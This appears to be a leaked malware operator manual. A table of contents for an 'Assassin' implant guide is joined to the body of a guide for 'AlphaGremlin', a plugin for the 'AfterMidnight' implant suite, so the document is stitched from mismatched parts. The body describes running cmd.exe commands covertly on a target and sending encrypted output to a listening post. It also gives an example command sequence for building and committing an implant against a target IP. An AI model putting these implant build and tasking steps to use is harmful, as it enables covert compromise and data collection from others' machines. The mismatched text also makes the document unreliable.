

# ASSASSIN v1.4 USER GUIDE



June 2014

<b>1</b>	<b>OVERVIEW.....</b>	<b>1</b>
1.1	Concept of Operations.....	1
<b>2</b>	<b>ASSASSIN IMPLANT.....</b>	<b>3</b>
2.1	Implant Executable Usage.....	3
2.1.1	Implant DLL.....	3
2.1.2	Implant Service DLL.....	3
2.1.3	Implant EXE.....	4
2.1.4	Implant ICE DLL.....	4
2.1.5	Implant Pernicious Ice DLL.....	4
2.2	Implant Identification.....	4
2.3	Beacon.....	4
<b>3</b>	<b>ASSASSIN DEPLOYMENT.....</b>	<b>12</b>
3.1	Injection Launcher.....	12
<b>4</b>	<b>BUILDER.....</b>	<b>15</b>
4.1	Usage.....	15
4.5	Complex Numbers.....	24
4.5.1	File Size and Offset Modifiers.....	24
4.5.2	Time Modifiers.....	24
4.6	Wizard.....	24
4.7	Output Directory Layout.....	25
<b>5</b>	<b>USER INTERFACE.....</b>	<b>26</b>
5.1	Usage.....	26
5.2	The Gibson Management.....	26
5.2.1	Registration Commands.....	26

11.4 Logging.....	52
<b>12 ADMINISTRATIVE PROCEDURES.....</b>	<b>53</b>
12.1 Installing The Gibson.....	53
12.2 Updating The Gibson.....	54
<b>APPENDIX A: XML FORMATS A-1</b>	
1 Assassin Beacon XML File Format.....	A-1
2 Assassin Configuration / Receipt XML File Format.....	A-2
3 Assassin Metadata XML Formats.....	A-9
4 Assassin Push File XML Formats.....	A-10
5 Assassin Result XML File Formats.....	A-10
6 Assassin Task XML File Formats.....	A-20
<b>APPENDIX B: FREQUENTLY ASKED QUESTIONS B-1</b>	
<b>APPENDIX C: CHANGE LOG C-3</b>	

- **Overview**

This document is intended to provide information relevant to the use of the Alpha Gremlin addition to the AfterMidnight tool suite, including instructions for their operation and potential vulnerabilities to detection or failure.

- **Concept of Operations**

AlphaGremlin was written as an addition to the After Midnight suite.

- **Subsystems**

AlphaGremlin consists of two subsystems: the c++ files associated with the .dll and the .amm files, and the python files associated with the am suite.

*C++ files*

The C++ files are the portion of the code that will be executed on target. Sends output to StorageGremlin, which is encrypted and sent in packets to the LP. Delivery of packets not guaranteed by StorageGremlin, and order of receiving is arbitrary.

*Python*

The python files consist of

`__init__.py`, which contains fields and methods that allow AlphaGremlin to be integrated within the AM suite

`AlphaReader.py`, which contains a function required to organize the data generated by the C++ files. Packets are decrypted by the AM suite, function decrypt will sort packets by metadata. If packets are missing, will

print "MISSING PACKET + " followed by the number of the packet that is missing.

## Usage

- **Use in the AM suite**

AlphaGremlin is not directly executable in the AM suite. Instead of being directly called, a user can add commands to the *.config* field. When the Gremlin is scheduled, all commands will be run in separate instances of the cmd.exe process. Alternately, users can schedule commands to run in certain time periods.

Example am commands:

```
am
create target -n mytarget -a x86 -d 2w -b 60 -j 10 -l '10.3.2.174' -c 4096 -i 0 --base-
url 'am/' target
create build -s "AfterMidnight Service" -d "AfterMidnight Desc" -N "AfterMidnight
Display Name" -c "C:\am\MidnightCore.dll" -D "C:\am\data" -S "C:\am\staging" -C
"C:\am\config" -K "C:\am\killfile" mybuild
create plan -n myplan plan
plan myplan add Alpha
plan myplan config Alpha add -c "ipconfig"
generate --USE-DEBUG --NO-CORE-OBS mybuild mytarget
commit --CLEAR myplan mytarget
```

This would cause, on target, for the results of running "ipconfig" in cmd.exe to be sent back to the LP where it could be decrypted and read. The command would only run once.

If for whatever reason, AlphaGremlin is still running a command when it receives a GREMLIN\_CLOSE\_ID signal (ie "ping 8.8.8.8 -t"), it will terminate all of its instances of cmd.exe safely and avoid any memory leaks due to dead handles or surviving processes. If AlphaGremlin is closed in a different manner, this is not guaranteed behavior.